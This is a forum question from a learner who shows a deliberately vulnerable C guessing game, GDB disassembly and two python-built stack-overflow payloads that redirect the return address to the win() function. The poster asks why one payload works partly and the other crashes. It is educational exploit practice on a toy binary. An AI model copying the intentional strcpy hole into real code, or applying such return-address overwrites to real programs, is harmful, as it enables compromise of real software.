How to construct this basic buffer overflow to alter program flow?

109 Views Asked by At

I'm currently trying to (re)learn more about basics of vulnerabilities and more low level stuff again, but I have been beating my head against this for the last 2 days and really need some hlp. I learned assembler and stacks etc. around 14 years ago, and in my ignorance i thought i still knew how they worked. I have a small C program that represents a number guessing game. To win, you have to guess 3 random numbers correctly 5 times in a row. Pretty much impossible. The program has a string parameter when it is called, which is later copied in the "calculate" function using strcpy to enable a buffer overflow attack. Here is the code:

int counter = 0;
char username[16];
 
void win() {
    printf("You win this round %s\n", username);
    counter++;
}
 
void loose() {
    printf("You lose, better luck next time %s!\n\n", username);
    counter = 0;
}
 
 
int calculate(char *text, int input1, int input2, int input3, int number1, int number2, int number3) {
    char name[16];
    strcpy(name, text);

    if (number1 == input1 && number2 == input2 && number3 == input3)
        return 0;
    else
        return 1;
}
 
int main(int argc, char ** argv) {
 
    int number1, number2, number3;
    int input1 = 0, input2 = 0, input3 = 0;
 
    if (argc < 2) {
        printf("Please pass at least one argument with your program.\nOtherwise you won't be able to exploit it ;)\n");
        exit(0);
    }
    
 
    printf("Please enter your name!\n");
    fgets(username, sizeof(username), stdin);
    username[strcspn(username, "\n")] = '\0';
 
    
    while(counter < 5){
        printf("Can you beat this minigame?\n\nEnter three numbers between 0-10 if you guess all correct you win, otherwise you lose!\n");
        
        printf("Enter your first guess!\n");
        scanf("%d", &input1);
        printf("Enter your second guess!\n");
        scanf("%d", &input2);
        printf("Enter your third guess!\n");
        scanf("%d", &input3);
 
        srand(time(NULL));
 
        number1 = rand() % 10;
        number2 = rand() % 10;
        number3 = rand() % 10;
 
 
        if(calculate(argv[1], input1, input2, input3, number1, number2, number3) == 0)
            win();
        else
            loose();
    
    }
 
    printf("Against all odds you beat the game!\nCongratulations %s", username);
    
    exit(0);
    return 0;
}

As far as i thought, there are several routes for how to construct the buffer overflow string to achieve the goal of winning this game automatically regardless of guessed numbers. For example:

  1. One could overwrite the entire stack frame for "calculate" to change the parameter values, including the guessed and generated random numbers with fixed numbers. Then repeat to write 5 chained call stack frames with those fixed numbers. This one seems overkill to me.

  2. My other idea was to overwrite the return address of the calculate function stack frame so it jumps into the win function after completion (which increments the counter variable), and then write 4-5 additional win function calls after that with return addresses and at the end jumping back into main at the end of the loop, so the program can check and then complete without crashing.

I tried going for second version, but no matter what I seem to get it wrong and cause segmentation faults. Using GDB seems to cause more confusion than help for me, as the addresses never seem to match up to what id expect.

Here is how i imagine the stack frame for calculate looks like:

enter image description here

Since stack memory "grows down", new stack frames for function calls from within another function would be written to lower memory addresses. However, when we "return" from a function we move to higher memory addresses in the stack for the previous stack frames after the current stack frame is popped off. I call the compiled program using GDB and use pythong to construct a byte string for hex address numbers etc. So in the beginning i thought I will overwrite the return address of calculate to point to the win function and write that 5 times in a row (forgetting about EBPs etc.) and return main.

For this, we need to at least know the address of win and the instruction address in main we want to jump back into. Using GDB to get the assembly for main, here is the last part including the "if/else" block in the loop:

   ...
   0x0804886a <+478>:   call   0x804864e <calculate>
   0x0804886f <+483>:   add    $0x20,%esp
   0x08048872 <+486>:   test   %eax,%eax
   0x08048874 <+488>:   jne    0x804887d <main+497>
   0x08048876 <+490>:   call   0x80485fb <win>
   0x0804887b <+495>:   jmp    0x8048882 <main+502> <--- This is the line i want to jmp back into after having executed by 5 consecutive "win" calls
   0x0804887d <+497>:   call   0x8048626 <loose>
   0x08048882 <+502>:   mov    0x804a048,%eax
   0x08048887 <+507>:   cmp    $0x4,%eax
   0x0804888a <+510>:   jle    0x804871e <main+146>
   0x08048890 <+516>:   sub    $0x8,%esp
   0x08048893 <+519>:   push   $0x804a04c
   0x08048898 <+524>:   push   $0x8048aac
   0x0804889d <+529>:   call   0x8048440 <printf@plt>
   0x080488a2 <+534>:   add    $0x10,%esp
   0x080488a5 <+537>:   sub    $0xc,%esp
   0x080488a8 <+540>:   push   $0x0
   0x080488aa <+542>:   call   0x80484a0 <exit@plt>

The address of win function according to GDB is:

$1 = {void ()} 0x80485fb <win>

So my initial attempt (ignoring EBP values on the stack for the consecutive win calls) looked like this:

r $(python -c "import sys; sys.stdout.buffer.write(b'A'*16 + b'\xa8\xf3\xff\xbf' + b'\xfb\x85\x04\x08'*5 + b'\x7b\x88\x04\x08')")

To explain each part:

  1. b'A'*16 <-- Write 16 byte to overwrite the name array
  2. b'\xa8\xf3\xff\xbf' <-- Overwrite calculate frames caller EBP with the one currently used in little endian
  3. b'\xfb\x85\x04\x08'*5 <-- Overwrite the return address of the current frame with the win function address 5 times in a row
  4. b'\x7b\x88\x04\x08' <-- Add the last return address as the target instruction address in main.

To my surprise, this actually worked for 3 consecutive calls (instead of 5) before returning back to main and prompting me again:

enter image description here

The reason im surprised is, all we did with the consecutive return address writes, was writing into the "parameter" section of the current stack frame. So i thought since we need to reach the previous stack frame, we need to overwrite the parameter section of the calculate stack frame. Also, a minimal stack frame has a return address and an EBP to my understanding, so i added byte paddings for EBPs for the consecutive win function return calls:

r $(python -c "import sys; sys.stdout.buffer.write(b'A'*16 + b'A'*4 + b'\xbf\x58\x40\x80' + b'A'*28 + (b'A'*4 + b'\xbf\x58\x40\x80')*5 + b'A'*4 + b'\xb7\x88\x40\x80')")

This however results in immediate segmentation faults:

enter image description here

I tried several variations, all without success. What am i fundamentally getting wrong? What do i need to do to successfully construct this buffer overflow. I was told that i can ignore EBP values (not padding) when writing the overflow, but im not so sure that is true. I really need some help with this, because i feel like im too dumb momentarily.

I can provide more GDB dumps or information, but the post is already quite long.

0

There are 0 best solutions below